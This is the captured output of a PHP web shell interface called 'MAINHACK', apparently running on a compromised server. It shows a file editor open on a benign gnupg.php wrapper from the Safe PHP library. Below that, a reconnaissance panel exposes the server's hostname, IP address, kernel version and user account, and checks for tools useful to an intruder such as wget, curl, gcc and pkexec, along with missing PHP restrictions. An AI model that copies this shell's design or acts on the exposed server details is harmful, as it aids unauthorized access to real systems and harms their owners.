[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: gnupg.php
<?php namespace Safe; use Safe\Exceptions\GnupgException; /** * * * @param resource $identifier The gnupg identifier, from a call to * gnupg_init or gnupg. * @param string $fingerprint The fingerprint key. * @param string $passphrase The pass phrase. * @throws GnupgException * */ function gnupg_adddecryptkey($identifier, string $fingerprint, string $passphrase): void { error_clear_last(); $result = \gnupg_adddecryptkey($identifier, $fingerprint, $passphrase); if ($result === false) { throw GnupgException::createFromPhpError(); } } /** * * * @param resource $identifier The gnupg identifier, from a call to * gnupg_init or gnupg. * @param string $fingerprint The fingerprint key. * @throws GnupgException * */ function gnupg_addencryptkey($identifier, string $fingerprint): void { error_clear_last(); $result = \gnupg_addencryptkey($identifier, $fingerprint); if ($result === false) { throw GnupgException::createFromPhpError(); } } /** * * * @param resource $identifier The gnupg identifier, from a call to * gnupg_init or gnupg. * @param string $fingerprint The fingerprint key. * @param string $passphrase The pass phrase. * @throws GnupgException * */ function gnupg_addsignkey($identifier, string $fingerprint, string $passphrase = null): void { error_clear_last(); if ($passphrase !== null) { $result = \gnupg_addsignkey($identifier, $fingerprint, $passphrase); } else { $result = \gnupg_addsignkey($identifier, $fingerprint); } if ($result === false) { throw GnupgException::createFromPhpError(); } } /** * * * @param resource $identifier The gnupg identifier, from a call to * gnupg_init or gnupg. * @throws GnupgException * */ function gnupg_cleardecryptkeys($identifier): void { error_clear_last(); $result = \gnupg_cleardecryptkeys($identifier); if ($result === false) { throw GnupgException::createFromPhpError(); } } /** * * * @param resource $identifier The gnupg identifier, from a call to * gnupg_init or gnupg. * @throws GnupgException * */ function gnupg_clearencryptkeys($identifier): void { error_clear_last(); $result = \gnupg_clearencryptkeys($identifier); if ($result === false) { throw GnupgException::createFromPhpError(); } } /** * * * @param resource $identifier The gnupg identifier, from a call to * gnupg_init or gnupg. * @throws GnupgException * */ function gnupg_clearsignkeys($identifier): void { error_clear_last(); $result = \gnupg_clearsignkeys($identifier); if ($result === false) { throw GnupgException::createFromPhpError(); } } /** * Toggle the armored output. * * @param resource $identifier The gnupg identifier, from a call to * gnupg_init or gnupg. * @param int $armor Pass a non-zero integer-value to this function to enable armored-output * (default). * Pass 0 to disable armored output. * @throws GnupgException * */ function gnupg_setarmor($identifier, int $armor): void { error_clear_last(); $result = \gnupg_setarmor($identifier, $armor); if ($result === false) { throw GnupgException::createFromPhpError(); } } /** * Sets the mode for signing. * * @param resource $identifier The gnupg identifier, from a call to * gnupg_init or gnupg. * @param int $signmode The mode for signing. * * signmode takes a constant indicating what type of * signature should be produced. The possible values are * GNUPG_SIG_MODE_NORMAL, * GNUPG_SIG_MODE_DETACH and * GNUPG_SIG_MODE_CLEAR. * By default GNUPG_SIG_MODE_CLEAR is used. * @throws GnupgException * */ function gnupg_setsignmode($identifier, int $signmode): void { error_clear_last(); $result = \gnupg_setsignmode($identifier, $signmode); if ($result === false) { throw GnupgException::createFromPhpError(); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002